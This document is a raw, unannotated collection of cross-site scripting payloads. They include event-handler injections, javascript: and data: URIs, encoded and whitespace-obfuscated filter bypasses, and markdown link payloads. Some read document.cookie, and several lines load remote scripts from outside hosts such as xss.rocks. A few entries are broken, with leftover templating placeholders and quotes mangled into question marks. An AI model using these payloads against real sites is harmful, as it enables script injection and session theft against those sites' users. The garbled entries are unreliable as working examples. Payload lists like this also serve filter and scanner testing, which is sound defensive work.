<body onPropertyChange body onPropertyChange="javascript:javascript:confirm(1)"></body onPropertyChange>
<svg onLoad svg onLoad="javascript:javascript:confirm(1)"></svg onLoad>
<body onPageHide body onPageHide="javascript:javascript:confirm(1)"></body onPageHide>
<body onMouseOver body onMouseOver="javascript:javascript:confirm(1)"></body onMouseOver>
<body onUnload body onUnload="javascript:javascript:confirm(1)"></body onUnload>
<body onLoad body onLoad="javascript:javascript:confirm(1)"></body onLoad>
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:confirm(1)"></bgsound onPropertyChange>
<html onMouseLeave html onMouseLeave="javascript:javascript:confirm(1)"></html onMouseLeave>
<html onMouseWheel html onMouseWheel="javascript:javascript:confirm(1)"></html onMouseWheel>
<style onLoad style onLoad="javascript:javascript:confirm(1)"></style onLoad>
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:confirm(1)"></iframe onReadyStateChange>
<body onPageShow body onPageShow="javascript:javascript:confirm(1)"></body onPageShow>
<style onReadyStateChange style onReadyStateChange="javascript:javascript:confirm(1)"></style onReadyStateChange>
<frameset onFocus frameset onFocus="javascript:javascript:confirm(1)"></frameset onFocus>
<applet onError applet onError="javascript:javascript:confirm(1)"></applet onError>
<marquee onStart marquee onStart="javascript:javascript:confirm(1)"></marquee onStart>
<script onLoad script onLoad="javascript:javascript:confirm(1)"></script onLoad>
<html onMouseOver html onMouseOver="javascript:javascript:confirm(1)"></html onMouseOver>
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:confirm(1)"></html onMouseEnter>
<body onBeforeUnload body onBeforeUnload="javascript:javascript:confirm(1)"></body onBeforeUnload>
<html onMouseDown html onMouseDown="javascript:javascript:confirm(1)"></html onMouseDown>
[a](javascript:confirm(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:confirm(document.cookie))
![a](javascript:confirm(document.cookie))\
<javascript:confirm(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=confirm(document.cookie)](x)\
[citelol]: (javascript:confirm(document.cookie))
[notmalicious](javascript:window.onerror=confirm;throw%20document.cookie)
[test](javascript://%0d%0aconfirm(1))
[test](javascript://%0d%0aconfirm(1);com)
[notmalicious](javascript://%0d%0awindow.onerror=confirm;throw%20document.cookie)
[clickme](vbscript:confirm(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=confirm(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
<marquee onScroll marquee onScroll="javascript:javascript:confirm(1)"></marquee onScroll>
<xml onPropertyChange xml onPropertyChange="javascript:javascript:confirm(1)"></xml onPropertyChange>
<frameset onBlur frameset onBlur="javascript:javascript:confirm(1)"></frameset onBlur>
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:confirm(1)"></applet onReadyStateChange>
<svg onUnload svg onUnload="javascript:javascript:confirm(1)"></svg onUnload>
<svg onload svg onload="javascript:javascript:confirm(1)"></svg onload>
<html onmousemove html onmousemove="javascript:javascript:confirm(1)"></html onmousemove>
<body onblur body onblur="javascript:javascript:confirm(1)"></body onblur>
\x3Cscript>javascript:confirm(1)</script>
'"`><script>/* *\x2Fjavascript:confirm(1)// */</script>
<script>javascript:confirm(1)</script\x0D
<script>javascript:confirm(1)</script\x0A
<script>javascript:confirm(1)</script\x0B
<script charset="\x22>javascript:confirm(1)</script>
ABC<div style="x:\xE2\x80\x89expression(javascript:confirm(1)">DEF
<a href="\x0Bjavascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:confirm(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x22onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Donerror=javascript:confirm(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:confirm(1)>
`"'><img src=xxx:x \x09onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x0Conerror=javascript:confirm(1)>
`"'><img src=xxx:x \x00onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x27onerror=javascript:confirm(1)>
`"'><img src=xxx:x \x20onerror=javascript:confirm(1)>
"`'><script>\x3Bjavascript:confirm(1)</script>
"`'><script>\x0Djavascript:confirm(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x81javascript:confirm(1)</script>
"`'><script>\xE2\x80\x84javascript:confirm(1)</script>
"`'><script>\xE3\x80\x80javascript:confirm(1)</script>
"`'><script>\x09javascript:confirm(1)</script>
"`'><script>\xE2\x80\x89javascript:confirm(1)</script>
"`'><script>\xE2\x80\x85javascript:confirm(1)</script>
"`'><script>\xE2\x80\x88javascript:confirm(1)</script>
"`'><script>\x00javascript:confirm(1)</script>
"`'><script>\xE2\x80\xA8javascript:confirm(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:confirm(1)</script>
"`'><script>\xE1\x9A\x80javascript:confirm(1)</script>
"`'><script>\x0Cjavascript:confirm(1)</script>
"`'><script>\x2Bjavascript:confirm(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:confirm(1)</script>
"`'><script>-javascript:confirm(1)</script>
"`'><script>\x0Ajavascript:confirm(1)</script>
"`'><script>\xE2\x80\xAFjavascript:confirm(1)</script>
"`'><script>\x7Ejavascript:confirm(1)</script>
"`'><script>\xE2\x80\x87javascript:confirm(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:confirm(1)</script>
"`'><script>\xE2\x80\xA9javascript:confirm(1)</script>
"`'><script>\xC2\x85javascript:confirm(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x83javascript:confirm(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:confirm(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:confirm(1)</script>
"`'><script>\xE2\x80\x80javascript:confirm(1)</script>
"`'><script>\x21javascript:confirm(1)</script>
"`'><script>\xE2\x80\x82javascript:confirm(1)</script>
"`'><script>\xE2\x80\x86javascript:confirm(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:confirm(1)</script>
"`'><script>\x0Bjavascript:confirm(1)</script>
"`'><script>\x20javascript:confirm(1)</script>
"`'><script>\xC2\xA0javascript:confirm(1)</script>
"/><img/onerror=\x0Bjavascript:confirm(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:confirm(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:confirm(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:confirm(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:confirm(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:confirm(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:confirm(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:confirm(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:confirm(1)\x20src=xxx:x />
<script\x2F>javascript:confirm(1)</script>
<script\x20>javascript:confirm(1)</script>
<script\x0D>javascript:confirm(1)</script>
<script\x0A>javascript:confirm(1)</script>
<script\x0C>javascript:confirm(1)</script>
<script\x00>javascript:confirm(1)</script>
<script\x09>javascript:confirm(1)</script>
`"'><img src=xxx:x onerror\x0B=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x00=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0C=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0D=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x20=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x0A=javascript:confirm(1)>
`"'><img src=xxx:x onerror\x09=javascript:confirm(1)>
<script>javascript:confirm(1)<\x00/script>
<img src=# onerror\x3D"javascript:confirm(1)" >
<input onfocus=javascript:confirm(1) autofocus>
<input onblur=javascript:confirm(1) autofocus><input autofocus>
<video poster=javascript:javascript:confirm(1)//
<body onscroll=javascript:confirm(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form id=test onforminput=javascript:confirm(1)><input></form><button form=test onformchange=javascript:confirm(1)>X
<video><source onerror="javascript:javascript:confirm(1)">
<video onerror="javascript:javascript:confirm(1)"><source>
<form><button formaction="javascript:javascript:confirm(1)">X
<math href="javascript:javascript:confirm(1)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:confirm(1)">CLICKME</maction> </math>
<div id="x">XXX</div> <style>  #x{font-family:foo[bar;color:green;}  #y];color:red;{}  </style>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:confirm(1)&gt;>
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:confirm(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:confirm(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:confirm(1)">
<a href="javascript:javascript:confirm(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:confirm(1)&gt;">
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:confirm(1)</script>
<IMG SRC="javascript:javascript:confirm(1);">
<IMG SRC=javascript:javascript:confirm(1)>
<IMG SRC=`javascript:javascript:confirm(1)`>
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:confirm(1);"></FRAMESET>
<BODY ONLOAD=javascript:confirm(1)>
<BODY ONLOAD=javascript:javascript:confirm(1)>
<IMG SRC="jav    ascript:javascript:confirm(1);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:confirm(1)>
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:confirm(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:confirm(1);">
<IMG DYNSRC="javascript:javascript:confirm(1)">
<IMG LOWSRC="javascript:javascript:confirm(1)">
<BGSOUND SRC="javascript:javascript:confirm(1);">
<BR SIZE="&{javascript:confirm(1)}">
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:confirm(1);">
<STYLE>@import'%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:confirm(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:confirm(1);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:confirm(1);">
<IFRAME SRC="javascript:javascript:confirm(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:confirm(1)">
<TABLE><TD BACKGROUND="javascript:javascript:confirm(1)">
<DIV STYLE="background-image: url(javascript:javascript:confirm(1))">
<DIV STYLE="width:expression(javascript:confirm(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:confirm(1))">
<XSS STYLE="xss:expression(javascript:confirm(1))">
<STYLE TYPE="text/javascript">javascript:confirm(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:confirm(1)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:confirm(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:confirm(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:confirm(1);//">
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:confirm(1)></OBJECT>
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:confirm(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:confirm(1)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT SRC="%(jpg)s"></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<form id="test" /><button form="test" formaction="javascript:javascript:confirm(1)">X
<body onscroll=javascript:confirm(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:confirm(1)">
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:confirm(1);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:confirm(1)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:confirm(1);></SCRIPT>
<style onreadystatechange=javascript:javascript:confirm(1);></style>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:confirm(1);</html:script></html:html>
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:confirm(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:confirm(1)></frameset>
<object onerror=javascript:javascript:confirm(1)>
<embed type="image" src=%(scriptlet)s></embed>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:confirm(1);">]]</C><X></xml>
<IMG SRC=&{javascript:confirm(1);};>
<a href="jav&#65ascript:javascript:confirm(1)">test1</a>
<a href="jav&#97ascript:javascript:confirm(1)">test1</a>
<embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:confirm(1)&amp;gt;>">
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";
confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<IMG SRC=javascript:confirm("XSS")>
<IMG SRC=`javascript:confirm("RSnake says, 'XSS'")`>
<a onmouseover="confirm(document.cookie)">xxs link</a>
<a onmouseover=confirm(document.cookie)>xxs link</a>
<IMG SRC=# onmouseover="confirm('xxs')">
<IMG SRC= onmouseover="confirm('xxs')">
<IMG onmouseover="confirm('xxs')">
<IMG SRC="jav	ascript:confirm('XSS');">
<IMG SRC="jav&#x09;ascript:confirm('XSS');">
<IMG SRC="jav&#x0A;ascript:confirm('XSS');">
<A HREF="htt	p://6	6.000146.0x7.147/">XSS</A>
<img/src=`%00` onerror=this.onerror=confirm(1) 
<marquee/onstart=confirm()>
<video/poster/onerror=confirm()>
<isindex/autofocus/onfocus=confirm()>
<IMG SRC=/ onerror="confirm(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
</script><script>confirm('XSS');</script>
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(confirm("XSS"))'>
<!--[if gte IE 4]><SCRIPT>confirm('XSS');</SCRIPT><![endif]-->
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
0\"autofocus/onfocus=confirm(1)--><video/poster/ error=confirm(2)>"-confirm(3)-"
veris-->group<svg/onload=confirm(/XSS/)//
#"><img src=M onerror=confirm('XSS');>
element[attribute='<img src=x onerror=confirm('XSS');>
[<blockquote cite="]">[" onmouseover="confirm('RVRSH3LL_XSS');" ]
%22;confirm%28%27RVRSH3LL_XSS%29//
javascript:confirm%281%29;
<w contenteditable id=x onfocus=confirm()>
confirm;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>confirm(1)</scr</script>ipt><scr<script>ipt>confirm(1)</scr</script>ipt>
<sCR<script>iPt>confirm(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
<details ontoggle=confirm(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="confirm(1)">
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<svg+onload=+"aler%25%37%34(1)"
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:confirm(1);">XSS</a>
¼script¾confirm(¢xss¢)¼/script¾
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=confirm(1)>
"<sCriPt>confirm()</sCriPt>"
"<script src=http://ha.ckers.org/xss.js></script>"
"<script>confirm(String.fromCharCode(88,83,83));</script>"
"<IMG \"\"\"><script>confirm(\"XSS\")</script>\">"
"<img src=\"blah.jpg\" onerror=\"confirm()\"/>"
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=confirm(1)>
<script>confirm(1)</script>@gmail.com<isindex formaction=javascript:confirm(/XSS/) type=submit>'-->"></script>
<script>confirm(document.cookie)</script>">
<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">
<img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT SRC=//xss.rocks/.j>
Set.constructor`confirm\x28document.domain\x29```
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<!--[if gte IE 4]>
<![endif]-->
 <OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:confirm('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>confirm('XSS')</SCRIPT>"><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<Img src = x onerror = "javascript: window.onerror = confirm; throw XSS">
<Video> <source onerror = "javascript: confirm (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="confirm(XSS)">
"></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="confirm(XSS)">
"><iframe src="javascript:confirm(XSS)">
<object data="javascript:confirm(XSS)">
<isindex type=image src=1 onerror=confirm(XSS)>
<img src=x:confirm(alt) onerror=eval(src) alt=0>
<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=confirm(1)>">
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;confirm(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(confirm(/xss/))}//<style></style> 
On Mouse Over​
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
(confirm)(1)a=confirm,a(1)[1].find(confirm)top[“al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)
<script>confirm(?XSS?)</script> 
<script>confirm(?XSS?);</script>
<script>confirm(?XSS?)</script>
?><script>confirm(?XSS?)</script>
<script>confirm(/XSS?)</script>
?; confirm(1);
?)confirm(1);//
<IMG SRC=jAVasCrIPt:confirm(?XSS?)>
<IMG SRC=?javascript:confirm(?XSS?);?>
<IMG SRC=javascript:confirm(?XSS?)>      
?;confirm(String.fromCharCode(88,83,83))//?;confirm(String.fromCharCode(88,83,83))//?;confirm(String.fromCharCode(88,83,83))//?;confirm(String.fromCharCode(88,83,83))//?></SCRIPT>?>?><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<IMG ???><SCRIPT>confirm(?XSS?)</SCRIPT>?>
<IMG SRC=?jav ascript:confirm(?XSS?);?>
<IMG SRC=?jav&#x09;ascript:confirm(?XSS?);?>
<<SCRIPT>confirm(?XSS?);//<</SCRIPT>
?><s?%2b?cript>confirm(document.cookie)</script>
<BODY BACKGROUND=?javascript:confirm(?XSS?)?>
<BODY ONLOAD=confirm(?XSS?)>
<INPUT TYPE=?IMAGE? SRC=?javascript:confirm(?XSS?);?>
<IMG SRC=?javascript:confirm(?XSS?)?
“><s"%2b"cript>confirm(document.cookie)</script>
“><ScRiPt>confirm(document.cookie)</script>
“><<script>confirm(document.cookie);//<</script>
/"'`\<><script>:;
';</script>">'><SCrIPT>confirm(String.fromCharCode(88,83,83))</scRipt>
';'>"><marquee>test</marquee><plaintext/onmouseover=confirm(test)>
<img src="https://teamultimate.in/wp-content/uploads/2017/03/slide-main.png">
//'/<@/></script></div></script>--><select */onclick=confirm()><o>1<o>2')//"<!--
<svg onload="void 'javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=confirm() )//%0D%0A%0d
%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=confirm()//>\x3e'; "></svg>
<<SCRIPT>confirm("test");//<</SCRIPT>
<SCRIPT SRC=https://xss.rocks/xss.js?< B >
<img/src="x"/onerror="[boom]">
--><d/ /ondrag=co\u006efir\u006d(2)>hello.
"><img src=x onerror=confirm(1)>
"><iframe/src=javascript:confirm(1)>
"><h1 onclick=confirm(1)>Clickme</h1>
"><a href=javascript:confirm(1)>Clickme</a>
"><a href="javascript:confirm%28 1%29">Clickme</a>
